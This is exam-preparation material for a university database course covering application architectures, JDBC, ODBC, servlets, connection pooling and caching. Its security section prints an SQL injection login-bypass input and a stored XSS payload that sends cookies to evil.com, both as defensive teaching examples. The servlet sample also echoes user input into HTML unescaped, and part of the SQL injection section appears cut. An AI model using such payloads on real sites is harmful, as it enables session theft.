DATABASE MANAGEMENT SYSTEM (CT 652)

Tribhuvan University | Institute of Engineering | BCT | Year III / Part II

CHAPTER 8: Application Design and Development

Syllabus Hours: 5 hrs | Marks Weight: 10 marks

Complete Exam-Ready Answers | All Past Questions Covered (2070-2082)

CHAPTER 8 SYLLABUS TOPICS

- **8.1** Application Programs and User Interfaces
- **8.2** Web Fundamentals for Database Applications (HTTP, HTML, CGI)
- **8.3** Servlets and JSP - Server-Side Scripting
- **8.4** Application Architectures: Two-Tier and Three-Tier
- **8.5** Database Connectivity: JDBC and ODBC
- **8.6** Rapid Application Development (RAD) Tools
- **8.7** Application Performance: Connection Pooling, Query Caching
- **8.8** Application Security: SQL Injection, Cross-Site Scripting (XSS)
- **8.9** Encryption and Digital Signatures in DBMS
- **8.10** Database Triggers and Active Databases
- **8.11** Recursive Queries in SQL
- **8.12** Advanced Aggregation Features: ROLLUP, CUBE, Windowing

SECTION 1: Application Programs, Web Fundamentals and Application Architectures

Exam Ref: 2082 Kartik, 2081 Chaitra, 2081 Ashwin, 2080 Ashwin, 2079 Chaitra, 2079 Ashwin Back, 2078 Chaitra, 2078 Baishakh, 2077 Chaitra, 2076 Baisakh, 2075 Bhadra, 2074 Bhadra, 2073 Bhadra, 2072 Ashwin, 2071 Bhadra, 2070 Magh

Q1. What is a Database Application? Explain the different types of user interfaces for database applications. What are the components of a web-based database application?

[2+3+3]
2081 Chaitra 2079 Chaitra 2075 Bhadra

Answer: Database Applications and User Interfaces

Database Application: A database application is a software program that interacts with a database to collect, store, manage, and present data to users or other systems. Applications sit between end-users and the DBMS - they define WHAT data to retrieve and present it in a user-friendly form. Examples: banking software, hospital management system, e-commerce websites, inventory systems.

Why Applications Are Needed (Why Not Direct DBMS Access?):

* Users cannot write SQL - applications provide a friendly interface.
* Applications enforce business rules and data validation before touching the DB.
* Security: applications restrict which data users can see or modify.
* Applications format, aggregate, and present data in useful ways (charts, reports, PDFs).
* Concurrent multi-user access is managed by the application and transaction manager.

Types of User Interfaces:

Interface Type	Description	Example	Advantage
Command-Line Interface (CLI)	User types commands/queries directly. Output is text.	MySQL CLI, psql, SQLite shell	Fast for expert users; scriptable.
Form-Based Interface	Graphical forms with fields, dropdowns, and buttons. User fills form; app generates SQL.	Hospital patient registration form, bank deposit form	Easy for non-technical users. Controlled input.
Menu-Based Interface	User navigates hierarchical menus to select operations.	ATM machine menus, kiosk systems	Very simple; guides users through valid options.
GUI (Graphical UI)	Rich visual interface: tables, charts, drag-and-drop, point-and-click.	phpMyAdmin, Oracle SQL Developer, pgAdmin	Intuitive. Visual representation of data.
Web Interface	HTML pages in a browser. User submits forms; server queries DB; results rendered as HTML.	Online banking, e-commerce, university portal	Platform-independent. No client installation needed.
Natural Language Interface	User types or speaks queries in natural language; system interprets and generates SQL.	AI chatbots with DB access, voice-enabled apps	Most user-friendly; hardest to implement correctly.
Report Generator	Reads data from DB and formats it into structured reports (PDF, Excel).	Crystal Reports, Oracle Reports, SSRS	Automated reporting; scheduled batch output.

Components of a Web-Based Database Application:

Layer	Component	Role
Presentation	Web Browser (Client)	Renders HTML/CSS. Sends HTTP requests. Displays results. Handles user input.
Web Server	Apache / Nginx / IIS	Receives HTTP requests. Serves static files. Routes dynamic requests to application server.
Application	PHP / Node.js / Java Servlet / Python Django	Contains business logic. Processes form input. Generates SQL queries. Connects to DBMS.
Database	MySQL / PostgreSQL / Oracle / SQL Server	Stores and retrieves data. Executes SQL. Enforces constraints. Manages transactions.

Q2. Explain the Two-Tier and Three-Tier architectures for database applications. What are their advantages and disadvantages? Which is preferred for modern web applications and why?

[2+4+2]
2081 Ashwin 2079
Chaitra 2077 Chaitra

Answer: Two-Tier and Three-Tier Application Architectures

Two-Tier Architecture (Client-Server):

Two-Tier Architecture: In a two-tier architecture, the application is divided into exactly two layers: (1) CLIENT tier: the user interface and application logic, running on the user's machine. (2) SERVER tier: the database server, running on a separate machine. The client communicates DIRECTLY with the database using ODBC/JDBC.

Two-Tier (Client-Server) Architecture

```
+----------------------------------+     +---------------------------+
|        CLIENT MACHINE            |     |      SERVER MACHINE       |
|  +----------------------------+  |     |  +---------------------+  |
|  |  Presentation Layer        |  |     |  |                     |  |
|  |  (GUI: forms, menus)       |  |     |  |    DATABASE         |  |
|  +----------------------------+  | SQL |  |    SERVER           |  |
|  |  Application Logic Layer   |<------>|  |    (MySQL/Oracle)   |  |
|  |  (Business rules + SQL)    |  |     |  |                     |  |
|  +----------------------------+  |     |  +---------------------+  |
+----------------------------------+     +---------------------------+

Client: runs the application logic and UI.
Connection: direct JDBC/ODBC SQL connection to DB server.
Example: Desktop banking application installed on each teller's PC.
```

Note: Two-tier: tight coupling. Every client machine runs application code. Changing business logic requires updating ALL clients.

Three-Tier Architecture:

Three-Tier Architecture: In three-tier architecture, the application is split into THREE distinct layers: (1) PRESENTATION tier (client - browser), (2) APPLICATION/LOGIC tier (web/app server with business logic), (3) DATA tier (database server). The client never communicates directly with the database - all database access goes through the application server.

Three-Tier Architecture

```
TIER 1: PRESENTATION     TIER 2: APPLICATION      TIER 3: DATA

+----------------+       +------------------+      +------------+
|   Web Browser  |  HTTP |   App Server     | SQL  |  Database  |
```

```
|   (Client)      |<----->| (Business Logic) |<---->|   Server    |
|                 |       |  PHP/Java/Node   |      | MySQL/      |
|   HTML/CSS      |       |  Spring/Django   |      | PostgreSQL  |
+-----------------+       +------------------+      +-------------+

Client: browser only (HTML rendering). No SQL. No business logic.
App Server: ALL business rules, validation, SQL generation.
DB Server: pure data storage and query execution.

Example: Online shopping website (browser -> web app -> MySQL).
```

Note: Middle tier acts as a gatekeeper: enforces security, connection pooling, caching, and business logic centrally.

Two-Tier vs Three-Tier Comparison:

Feature	Two-Tier	Three-Tier
Client Complexity	FAT client - runs application logic locally.	THIN client - just renders HTML in browser.
Business Logic Location	Split between client and server. OR entirely on fat client.	CENTRALIZED on application server. One place to update.
Security	Client has direct DB access - security risk. DB credentials on client.	Client NEVER touches DB. Only app server has DB credentials.
Scalability	Hard to scale - adding users means more fat clients.	Easy to scale - add more app servers. Load balancing possible.
Deployment / Updates	Must update software on EVERY client machine when logic changes.	Update only the app server. All clients automatically get new version.
Performance	Less network hops - client to server directly.	One extra hop (browser -> app server -> DB). But caching compensates.
Connection Pooling	Not easily supported - each client holds its own DB connections.	Connection pool on app server - shared connections, much more efficient.
Best For	Desktop apps, internal tools with few users (e.g., small branch office).	Web apps, internet-facing systems, large-scale multi-user applications.

Exam Tip: The most common exam question is: "Compare 2-tier and 3-tier architecture." Key points: 2-tier = fat client + DB server (direct SQL), 3-tier = browser + app server + DB server (no direct DB access from client). 3-tier is preferred for web apps due to security, scalability, and centralized logic.

Q3. What are HTTP and HTML in the context of web-based database applications? How does the HTTP request-response cycle work for a database query? What are GET and POST methods?

[2+4+2]
2080 Ashwin 2078
Chaitra 2074 Bhadra

Answer: HTTP and HTML in Web Database Applications

HTTP (HyperText Transfer Protocol): HTTP is the stateless, application-layer protocol used for communication between a web browser (client) and a web server. Every database-driven web page interaction involves an HTTP request from the browser and an HTTP response from the server containing the data-driven HTML page.

HTTP Request-Response Cycle for a Database Query:

HTTP Request-Response Cycle

```
1. USER ACTION: User fills a search form and clicks "Search" button.

2. HTTP REQUEST (Browser to Web Server):
   GET /search?name=Ram&city=Kathmandu HTTP/1.1
   Host: www.example.com
   Accept: text/html

3. WEB SERVER receives request, routes to application code (PHP/Servlet).

4. APPLICATION CODE:
   - Extracts parameters: name="Ram", city="Kathmandu"
   - Builds SQL: SELECT * FROM Employee WHERE ename=? AND city=?
   - Connects to DB via JDBC/PDO, executes query
   - Fetches result rows from DB
   - Generates HTML table from result rows

5. HTTP RESPONSE (Web Server to Browser):
   HTTP/1.1 200 OK
   Content-Type: text/html

   <html><body>
   <table><tr><td>Ram Sharma</td><td>Kathmandu</td></tr></table>
   </body></html>

6. BROWSER renders the HTML - user sees the search results.
```

Note: HTTP is STATELESS: each request is independent. Sessions and cookies are used to maintain state (e.g., keep user logged in) across multiple requests.

HTTP Methods - GET vs POST:

Feature	GET Method	POST Method
Data Location	Parameters appended to URL: /search?name=Ram&age=25	Parameters in HTTP request BODY - not visible in URL.
Visibility	Parameters visible in browser address bar and server logs.	Parameters hidden from URL (but not encrypted without HTTPS).
Data Length	Limited: URL max ~2048 characters. Small data only.	Unlimited: can send large amounts of data (file uploads, long forms).
Idempotency	SAFE and IDEMPOTENT - repeated requests produce same result.	NOT idempotent - repeated POST may create duplicate records.
Caching	Can be cached by browser and proxy servers.	Not cached (would cause duplicate side effects).
Bookmarking	URL with parameters can be bookmarked.	Cannot bookmark a POST request.
Use Case	Search queries, page requests, data retrieval.	Form submissions, creating records, login, file upload, sensitive data.
DB Operations	Used for SELECT (read-only) operations.	Used for INSERT, UPDATE, DELETE (write) operations.

SECTION 2: JDBC, ODBC and Database Connectivity

Exam Ref: 2082 Kartik, 2081 Chaitra, 2081 Ashwin, 2080 Ashwin, 2079 Chaitra, 2079 Ashwin Back, 2078 Chaitra, 2078 Baishakh, 2077 Chaitra, 2076 Baisakh, 2075 Bhadra, 2074 Bhadra, 2073 Bhadra, 2072 Ashwin, 2071 Bhadra, 2070 Magh

Q4. What is JDBC? Explain the architecture and steps for connecting to a database using JDBC. Write a complete Java program using JDBC to perform SELECT, INSERT, UPDATE, and DELETE operations.	**[2+4+4]** *2082 Kartik 2079 Chaitra 2077 Chaitra*

Answer: JDBC - Java Database Connectivity

JDBC (Java Database Connectivity): JDBC is a standard Java API (Application Programming Interface) that provides a set of classes and interfaces for connecting Java applications to relational databases. It is database-independent: the same Java code works with MySQL, Oracle, PostgreSQL, or any JDBC-compliant database by just changing the driver and connection URL.

JDBC Architecture:

JDBC Architecture Layers

```
+-----------------------------------------+
```

```
|          JAVA APPLICATION                  |
|  (uses java.sql.* interfaces: Connection,  |
|   Statement, ResultSet, PreparedStatement) |
+--------------------------------------------+
                     |
                JDBC API
            (java.sql, javax.sql)
                     |
+--------------------------------------------+
|           JDBC DRIVER MANAGER              |
|   (loads appropriate driver for the DB)    |
+--------------------------------------------+
                     |
       +-------------+-------------+
       |             |             |
MySQL Driver  Oracle Driver  PostgreSQL Driver
(mysql-connector-java.jar)    (etc.)
       |             |             |
MySQL DB      Oracle DB    PostgreSQL DB
```

Note: The JDBC Driver Manager selects the correct driver based on the connection URL. Application code only uses JDBC interfaces - no DBMS-specific code.

JDBC Key Classes and Interfaces:

Class/Interface	Package	Purpose
DriverManager	java.sql	Manages JDBC drivers. Used to get a Connection object.
Connection	java.sql	Represents a connection to a specific database. Used to create statements.
Statement	java.sql	Executes static SQL queries. NOT safe against SQL injection.
PreparedStatement	java.sql	Pre-compiled SQL with placeholders (?). SAFE against SQL injection. Better performance.
CallableStatement	java.sql	Executes stored procedures and functions in the database.
ResultSet	java.sql	Holds the rows returned by a SELECT query. Iterator-style access (next()).
SQLException	java.sql	Exception thrown when a database error occurs.
DataSource	javax.sql	Used for connection pooling. Preferred over DriverManager in production.

JDBC Connection Steps:

Step 1: Load the JDBC driver (Class.forName() - automatic in JDBC 4.0+).

Step 2: Get a Connection via DriverManager.getConnection(url, user, password).

Step 3: Create a Statement or PreparedStatement.

Step 4: Execute SQL query: executeQuery() for SELECT, executeUpdate() for INSERT/UPDATE/DELETE.

Step 5: Process ResultSet (for SELECT) - iterate through rows.

Step 6: Close ResultSet, Statement, and Connection (use try-with-resources).

Complete JDBC Java Program - All CRUD Operations:

```
import java.sql.*;

public class JDBCDemo {
    // Connection URL, username, password
    static final String URL  = "jdbc:mysql://localhost:3306/university";
    static final String USER = "root";
    static final String PASS = "password";

    public static void main(String[] args) {
        // try-with-resources ensures auto-close of Connection
        try (Connection con = DriverManager.getConnection(URL, USER, PASS))
{
            System.out.println("Connected to database.");
            selectExample(con);
            insertExample(con);
            updateExample(con);
            deleteExample(con);
        } catch (SQLException e) {
            System.out.println("DB Error: " + e.getMessage());
        }
    }

    // -- SELECT: Read all employees --
    static void selectExample(Connection con) throws SQLException {
        String sql = "SELECT emp_id, ename, salary FROM Employee WHERE
salary > ?";
        try (PreparedStatement ps = con.prepareStatement(sql)) {
            ps.setDouble(1, 40000.0);     // set parameter: salary > 40000
            ResultSet rs = ps.executeQuery();
            System.out.println("Employees with salary > 40000:");
            while (rs.next()) {            // iterate through result rows
                int id     = rs.getInt("emp_id");
                String name = rs.getString("ename");
                double sal = rs.getDouble("salary");
                System.out.printf("  %d | %-20s | %.2f%n", id, name, sal);
            }
            rs.close();
```

```
        }
    }

    // -- INSERT: Add a new employee --
    static void insertExample(Connection con) throws SQLException {
        String sql = "INSERT INTO Employee(emp_id, ename, salary) VALUES
(?, ?, ?)";
        try (PreparedStatement ps = con.prepareStatement(sql)) {
            ps.setInt(1, 201);
            ps.setString(2, "Hari Thapa");
            ps.setDouble(3, 55000.0);
            int rows = ps.executeUpdate();  // returns number of affected
rows
            System.out.println(rows + " row(s) inserted.");
        }
    }

    // -- UPDATE: Modify salary --
    static void updateExample(Connection con) throws SQLException {
        String sql = "UPDATE Employee SET salary = salary * 1.10 WHERE
emp_id = ?";
        try (PreparedStatement ps = con.prepareStatement(sql)) {
            ps.setInt(1, 201);
            int rows = ps.executeUpdate();
            System.out.println(rows + " row(s) updated.");
        }
    }

    // -- DELETE: Remove an employee --
    static void deleteExample(Connection con) throws SQLException {
        String sql = "DELETE FROM Employee WHERE emp_id = ?";
        try (PreparedStatement ps = con.prepareStatement(sql)) {
            ps.setInt(1, 201);
            int rows = ps.executeUpdate();
            System.out.println(rows + " row(s) deleted.");
        }
    }
}
```

Most Repeated: "Explain JDBC with a complete Java program for database connectivity" is asked in almost every exam. Always show: getConnection(), PreparedStatement with ?, executeQuery() for SELECT returning ResultSet, executeUpdate() for INSERT/UPDATE/DELETE, and try-with-resources for cleanup.

Q5. What is ODBC? How does ODBC provide database-independent connectivity? Compare JDBC and ODBC. Explain the ODBC architecture with its components.

[2+2+2+2]
2081 Ashwin 2078
Chaitra 2073 Bhadra

Answer: ODBC - Open Database Connectivity

ODBC (Open Database Connectivity): ODBC is a standard C-language API developed by Microsoft (1992) for accessing relational databases in a vendor-independent manner. ODBC provides a universal interface: an application written using ODBC calls can connect to any ODBC-compliant database (MySQL, Oracle, SQL Server, Access) simply by changing the ODBC driver and data source name - without recompiling the application.

ODBC Architecture Components:

Component	Role
Application	The program that calls ODBC functions (SQLConnect, SQLExecDirect, SQLFetch, etc.) to perform database operations.
ODBC API (Application Programming Interface)	The set of standard function calls (defined in sql.h header). Application uses ONLY these standard functions - never calls the DBMS directly.
ODBC Driver Manager	A DLL (odbcad32.dll on Windows) that loads the appropriate driver for each connection, routes calls from application to the correct driver. Manages multiple drivers.
ODBC Driver	A DBMS-specific DLL (e.g., myodbc8w.dll for MySQL) that translates ODBC calls into DBMS-specific calls. One driver per database product.
Data Source Name (DSN)	A named configuration that stores connection parameters (driver, server, database name, port, credentials). Application uses DSN name instead of hardcoded connection details.
Database Server	The actual DBMS that receives SQL queries and returns results.

ODBC Architecture

```
APPLICATION (C/C++/VB/Python via pyodbc)
      |  ODBC API calls (SQLConnect, SQLExecDirect, SQLFetch)
      v
+---------------------------+
|   ODBC DRIVER MANAGER     |  Loads correct driver, routes calls
|   (odbcad32.dll / unixODBC)|
+---------------------------+
      |              |              |
MySQL Driver   Oracle Driver   SQL Server Driver
(.dll/.so)     (.dll/.so)      (.dll/.so)
      |              |              |
```

```
MySQL DB        Oracle DB       SQL Server DB

DSN (Data Source Name) configuration:
DSN Name: "MyUniversityDB"
Driver: MySQL ODBC 8.0 Unicode Driver
Server: 192.168.1.100, Port: 3306, Database: university
```

Note: ODBC is the C equivalent of JDBC for Java. Python uses pyodbc, PHP uses PDO_ODBC to connect via ODBC.

JDBC vs ODBC Comparison:

Feature	JDBC	ODBC
Language	Java (uses java.sql.* interfaces).	C/C++ (also used from Python, PHP, VB via wrappers).
Platform	Platform-independent (Java runs anywhere).	Primarily Windows-native (unixODBC for Linux/Mac).
Origin	Sun Microsystems (1997), now Oracle/community standard.	Microsoft (1992), industry standard.
Driver Types	Type 1 (JDBC-ODBC bridge), Type 2 (Native API), Type 3 (Network Protocol), Type 4 (Pure Java - most common).	Single driver type: platform-specific DLL/shared library.
Preferred Driver	Type 4 - Pure Java thin driver (no native code needed).	DBMS-specific ODBC driver DLL.
Connection	DriverManager.getConnection(url, user, pass) or DataSource (pooling).	SQLAllocHandle, SQLConnect, or DSN name.
SQL Injection Prevention	PreparedStatement with ? parameters.	SQLPrepare and SQLBindParameter.
Modern Usage	Standard for Java applications, Android, JDBC in Spring/Hibernate.	Legacy C apps, Excel/Access data connections, Python pyodbc, PowerBI.

Q6. What is a Servlet? How does a Java Servlet connect to a database and serve dynamic web pages? Write a Servlet example for a student search form. What is JSP and how does it differ from a Servlet?

[2+4+2]
2080 Ashwin 2078 Baishakh 2074 Bhadra

Answer: Servlets, JSP and Server-Side Web Programming

Java Servlet: A Java Servlet is a server-side Java class that handles HTTP requests from clients (browsers), processes them (including database queries), and generates dynamic HTTP responses (HTML pages). Servlets run inside a Servlet Container (like Apache Tomcat) and are the backbone of Java web applications.

Servlet Lifecycle:

Phase	Method	When Called	Purpose
Initialization	init()	ONCE when Servlet is first loaded.	One-time setup: open DB connection pool, load config.
Service	service(), doGet(), doPost()	For EVERY HTTP request.	Main processing: read params, query DB, write HTML response.
Destruction	destroy()	ONCE when Servlet is unloaded.	Cleanup: close DB connections, release resources.

Servlet Example - Student Search (JDBC + Form Processing):

```
import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

@WebServlet("/searchStudent")
public class StudentSearchServlet extends HttpServlet {

    // Handle GET requests (initial form display)
    protected void doGet(HttpServletRequest req, HttpServletResponse res)
            throws ServletException, IOException {
        res.setContentType("text/html");
        PrintWriter out = res.getWriter();
        out.println("<html><body>");
        out.println("<h2>Student Search</h2>");
        out.println("<form method='post' action='searchStudent'>");
        out.println("Name: <input type='text' name='sname'>");
        out.println("<input type='submit' value='Search'></form>");
        out.println("</body></html>");
    }

    // Handle POST requests (form submission - process search)
    protected void doPost(HttpServletRequest req, HttpServletResponse res)
            throws ServletException, IOException {
        // 1. Get form parameter
        String searchName = req.getParameter("sname");
```

```
        res.setContentType("text/html");
        PrintWriter out = res.getWriter();
        out.println("<html><body><h2>Search Results for: " + searchName +
"</h2>");

        // 2. Connect to DB and query
        String url = "jdbc:mysql://localhost:3306/university";
        String sql = "SELECT roll_no, sname, dept FROM Student WHERE sname
LIKE ?";

        try (Connection con = DriverManager.getConnection(url, "root",
"pass");
             PreparedStatement ps = con.prepareStatement(sql)) {

            ps.setString(1, "%" + searchName + "%");
            ResultSet rs = ps.executeQuery();

            // 3. Generate HTML table from ResultSet
            out.println("<table border='1'>");
            out.println("<tr><th>Roll
No</th><th>Name</th><th>Dept</th></tr>");
            while (rs.next()) {
                out.println("<tr><td>" + rs.getString("roll_no") + "</td>"
+
                            "<td>" + rs.getString("sname")   + "</td>" +
                            "<td>" + rs.getString("dept")    +
"</td></tr>");
            }
            out.println("</table>");
            rs.close();
        } catch (SQLException e) {
            out.println("Database error: " + e.getMessage());
        }
        out.println("</body></html>");
    }
}
```

JSP (JavaServer Pages) vs Servlets:

JSP (JavaServer Pages): JSP is a technology that allows embedding Java code INSIDE HTML pages using special tags (<% %>, <%= %>, etc.). A JSP file is automatically compiled into a Servlet by the container - it is essentially a shorthand for writing Servlets where the HTML structure dominates.

Feature	Servlet	JSP
Structure	Pure Java class. HTML generated via out.println().	HTML-first file with embedded Java code (<% java code %>).

Readability	Good for complex logic; poor for HTML-heavy pages.	Good for HTML-heavy pages; poor for complex logic.
Compilation	Compiled directly by developer.	Automatically compiled to a Servlet by the container.
MVC Role	Best as Controller (handling requests, calling model).	Best as View (displaying data passed by Servlet).
Separation of Concerns	Mixes HTML generation in Java code.	Mixes Java logic in HTML (but scriptlets are discouraged now).
Modern Usage	Controllers in MVC frameworks (Spring MVC).	View templates (though Thymeleaf/FreeMarker preferred now).

SECTION 3: Application Security - SQL Injection and XSS

Exam Ref: 2082 Kartik, 2081 Chaitra, 2081 Ashwin, 2080 Ashwin, 2079 Chaitra, 2079 Ashwin Back, 2078 Chaitra, 2078 Baishakh, 2077 Chaitra, 2076 Baisakh, 2075 Bhadra, 2074 Bhadra, 2073 Bhadra, 2072 Ashwin, 2071 Bhadra, 2070 Magh

Q7. What is SQL Injection? Explain with a detailed example. How can SQL injection attacks be prevented? Why is SQL injection one of the most dangerous vulnerabilities?

[2+4+2]
2082 Kartik 2081 Chaitra 2079 Chaitra

Answer: SQL Injection Attack and Prevention

SQL Injection: SQL Injection is a critical security vulnerability where an ATTACKER inserts (injects) malicious SQL code into an input field. If the application directly concatenates user input into an SQL string without sanitization, the injected code becomes part of the SQL query and is executed by the database - potentially giving the attacker full control of the database.

How SQL Injection Works - Vulnerable Code Example:

```
// VULNERABLE Java code - direct string concatenation (NEVER DO THIS)
String username = request.getParameter("username");  // user input
String password = request.getParameter("password");  // user input

// Dangerous: user input directly concatenated into SQL string
String sql = "SELECT * FROM Users WHERE username = '" + username +
             "' AND password = '" + password + "'";

// For NORMAL input (username="Ram", password="secret"):
// SQL becomes: SELECT * FROM Users WHERE username = 'Ram' AND password =
'secret'
// Works fine.
```

```
// ATTACK: username = "admin'--"  password = "anything"
// SQL becomes: SELECT * FROM Users WHERE username = 'admin'--' AND
password = ...'
//              ^^^
```

5. Principle of Least Privilege	Database account used by application should have MINIMUM permissions (SELECT only for read-only pages; no DROP/CREATE access).	Limits damage if injection occurs. Does not prevent injection.
6. Web Application Firewall (WAF)	Detects and blocks SQL injection patterns in HTTP requests.	Useful extra layer. Not foolproof - can be bypassed.
7. Error Handling	Never expose DB error messages to users. Log internally only.	Prevents information leakage that helps attackers.

Correct Code Using PreparedStatement (SAFE):

```
// SAFE Java code - using PreparedStatement with parameters
String sql = "SELECT * FROM Users WHERE username = ? AND password = ?";

try (PreparedStatement ps = con.prepareStatement(sql)) {
    ps.setString(1, username);  // username bound as DATA, not SQL code
    ps.setString(2, password);  // even if username = "admin'--" it is
safe!
    ResultSet rs = ps.executeQuery();
    // If attacker enters: username = "admin'--"
    // SQL executes as: WHERE username = 'admin'--'  (literal string, not
injected code)
    // No bypass possible - the '-- is treated as data, not as SQL syntax
}

// Rule: ALWAYS use PreparedStatement. NEVER concatenate user input into
SQL.
```

Most Repeated: "Explain SQL Injection with an example and how to prevent it" is one of the most asked security questions. Always show: (1) vulnerable code with concatenation, (2) the injected input and what SQL it produces, (3) safe code with PreparedStatement.

Q8. What is Cross-Site Scripting (XSS)? How does it differ from SQL Injection? Explain stored XSS and reflected XSS with examples. How can XSS be prevented?

[2+2+2+2]

2081 Ashwin 2079
Chaitra 2076 Baisakh

Answer: Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS): XSS is a web security vulnerability where an attacker injects malicious JavaScript/HTML code into content that is stored in the database OR reflected from user input, and later displayed to other users. When victims view the page, the malicious script executes in their browser - giving the attacker access to cookies, session tokens, or the ability to perform actions on behalf of the victim.

Types of XSS:

Type	Mechanism	Example	Impact
Stored (Persistent) XSS	Malicious script is SAVED to the database (e.g., in a comment or profile field) and served to every user who views that page.	Attacker posts a comment: <script>document.location='http://evil.com/?c='+document.cookie</script>. Stored in DB. Every user who reads the comment has their cookie stolen.	Widest reach - every visitor affected. Steals sessions, redirects users.
Reflected (Non-Persistent) XSS	Malicious script is in the URL parameter. Server reflects it back in the HTML response without sanitizing.	Attacker sends victim URL: /search?q=<script>alert(document.cookie)</script>. Server echoes q value in HTML. Script runs in victim's browser.	Requires victim to click a crafted link. Phishing attacks, session hijacking.
DOM-Based XSS	JavaScript on the page reads URL parameters and writes them to the DOM without sanitization. Entire attack happens in the browser.	Page has: document.write(location.hash). Attacker crafts URL with #<script>...</script>.	Client-side attack. Server never sees the payload.

SQL Injection vs XSS Comparison:

Feature	SQL Injection	Cross-Site Scripting (XSS)
Target	Attacks the DATABASE - manipulates SQL queries.	Attacks the BROWSER of OTHER USERS - injects JavaScript.
Attack Vector	Malicious SQL in DB input fields.	Malicious JavaScript/HTML in web page content.
Victim	The database and the application.	End users (other people) who view the infected page.
What is Stolen	Database records, credentials, table structures.	Session cookies, authentication tokens, user actions.
Prevention	Prepared statements, stored procedures, input validation.	Output encoding/escaping HTML, Content Security Policy (CSP).

XSS Prevention Techniques:

Technique	Description
Output Encoding (Primary Fix)	Encode all user-supplied data before inserting into HTML. Convert < to <, > to >, & to &, " to ". Treated as text, not HTML/script.
Content Security Policy (CSP)	HTTP header that tells browsers which scripts are allowed to run. Blocks inline scripts and scripts from unauthorized domains.

HttpOnly Cookies	Set cookies with HttpOnly flag - prevents JavaScript from reading cookies. Reduces impact of XSS even if attack succeeds.
Input Validation and Sanitization	Validate and whitelist expected input formats. Strip or reject HTML/script tags in user input.
Frameworks with Auto-Escaping	Modern frameworks (React, Angular, Thymeleaf) auto-escape output by default. Use framework rendering instead of raw innerHTML.
X-XSS-Protection Header	Legacy browser header that enables built-in XSS filtering (deprecated in favor of CSP).

SECTION 4: Application Performance - Connection Pooling and Caching

Exam Ref: 2082 Kartik, 2081 Chaitra, 2081 Ashwin, 2080 Ashwin, 2079 Chaitra, 2078 Chaitra, 2077 Chaitra, 2076 Baisakh, 2075 Bhadra, 2074 Bhadra, 2073 Bhadra, 2072 Ashwin

Q9. What is Connection Pooling? Why is it needed for database applications? Explain how a connection pool works with a diagram. What are the advantages over creating a new connection for each request?

[2+2+4]
2081 Ashwin 2079 Chaitra 2075 Bhadra

Answer: Connection Pooling

Connection Pooling: Connection pooling is a technique where a POOL of pre-established database connections is maintained and REUSED across multiple requests, instead of creating and destroying a new connection for every request. The pool manager creates a fixed number of connections at startup and lends them to threads/requests as needed, returning them to the pool when done.

Why Connection Pooling is Needed:

* Creating a new database connection is EXPENSIVE: TCP handshake + authentication + session setup = ~100-500ms per connection.
* A web app may receive 1000 requests/second - creating 1000 connections/second would overwhelm the DB server.
* DB servers have a limit on concurrent connections (~100-1000 max). Connection pool enforces this limit.
* Without pooling: each request waits to create a connection before doing any useful work.

How Connection Pooling Works:

Connection Pool - Operation

```
APPLICATION SERVER
+-----------------------------------------------+
|                                               |
|  Request 1 ----+                              |
|  Request 2 ----|---+                          |
```

```
   |  Request 3 ----|---|---+                        |
   |                |   |   |                        |
   |         +------v---v---v------------------+   |
   |         |    CONNECTION POOL (e.g., HikariCP)|  |
   |         |  [Conn1] [Conn2] [Conn3] [Conn4]  |  |
   |         |  [Conn5] (idle - waiting)          |  |
   |         +----------|------------------------+   |
   |                    |                            |
   +--------------------|----------------------------+
                        | (reused persistent connections)
                        v
             +----------------------+
             |    DATABASE SERVER   |
             |  (holds 5 sessions)  |
             +----------------------+

 Lifecycle:
   1. At startup: pool creates N connections to DB (e.g., 10 connections).
   2. Request arrives: borrow an idle connection from pool.
   3. Execute SQL using borrowed connection.
   4. Return connection to pool (NOT closed - kept alive for reuse).
   5. If all connections busy: new request WAITS (up to timeout).
   6. Pool monitors idle connections and recreates any that die.
```

Note: Popular Java connection pool libraries: HikariCP (fastest), Apache DBCP2, C3P0. Spring Boot uses HikariCP by default.

Connection Pooling Configuration Parameters:

Parameter	Description	Typical Value
minimumIdle	Minimum number of idle connections kept in pool at all times.	5-10
maximumPoolSize	Maximum total connections (idle + active) in pool.	10-50 (depends on DB server capacity)
connectionTimeout	Max time a request waits for a connection before throwing exception.	30000 ms (30 sec)
idleTimeout	Time before an idle connection is removed from pool to free DB resources.	600000 ms (10 min)
maxLifetime	Maximum lifetime of a connection in the pool (prevents stale connections).	1800000 ms (30 min)

Feature	Without Connection Pool	With Connection Pool
Connection Creation	New connection for every request (~100-500ms overhead).	Connections pre-created at startup. Borrowing takes microseconds.
Throughput	Low - bottlenecked by connection creation time.	High - requests immediately get a connection from pool.
DB Server Load	High - many connect/disconnect events; resource exhaustion.	Controlled - fixed number of sessions on DB server.
Scalability	Poor - cannot handle high concurrent load.	Good - handles hundreds of concurrent requests efficiently.
Implementation	Just DriverManager.getConnection() in code.	Use DataSource from HikariCP/DBCP. One pool, shared by all requests.

Q10. What is Query Caching? Explain the different types of caching in database applications: query result cache, prepared statement cache, and second-level cache. How do they improve performance?

[2+4+2]
2080 Ashwin 2078 Chaitra 2074 Bhadra

Answer: Query Caching and Application Performance

Caching: Caching is the technique of storing the results of expensive operations in fast-access memory so that subsequent requests for the same data can be served much faster without repeating the expensive operation (like a database query). The cache acts as a middle layer between the application and the database.

Cache Type	Where Stored	What is Cached	When Useful
Query Result Cache (DB-Level)	Inside the DBMS (e.g., MySQL Query Cache, PostgreSQL pg_stat_statements).	SQL text + result rows. If same SQL with same params, return cached result.	Frequently repeated identical SELECT queries (e.g., homepage showing product count).
Prepared Statement Cache	In the JDBC connection/pool layer.	Pre-compiled SQL execution plan. No recompilation for repeated queries.	Any application that executes the same query structure many times.
Application-Level Cache	In the application server memory (RAM).	Objects/DTOs that result from DB queries. Stored as Java objects, not raw SQL.	Any data that is read frequently but changes rarely (product catalog, city list, config).
Second-Level Cache (ORM)	Managed by ORM (Hibernate/JPA) using	Persistent entity objects across Sessions. Shared by all sessions in the cluster.	Repeated entity lookups by PK in ORM-based applications.

	cache provider (Ehcache/Redis).		
Distributed Cache	External cache server (Redis, Memcached) over the network.	Any serializable data: query results, session data, computed aggregates.	Multi-server deployments where cache must be shared across multiple app servers.

Application-Level Caching Example (Redis):

```
// Pseudo-code: Cache-Aside Pattern with Redis

String getProductById(int productId) {
    String cacheKey = "product:" + productId;

    // 1. Check cache first
    String cached = redis.get(cacheKey);
    if (cached != null) {
        return cached;  // CACHE HIT: return immediately (microseconds)
    }

    // 2. CACHE MISS: query database
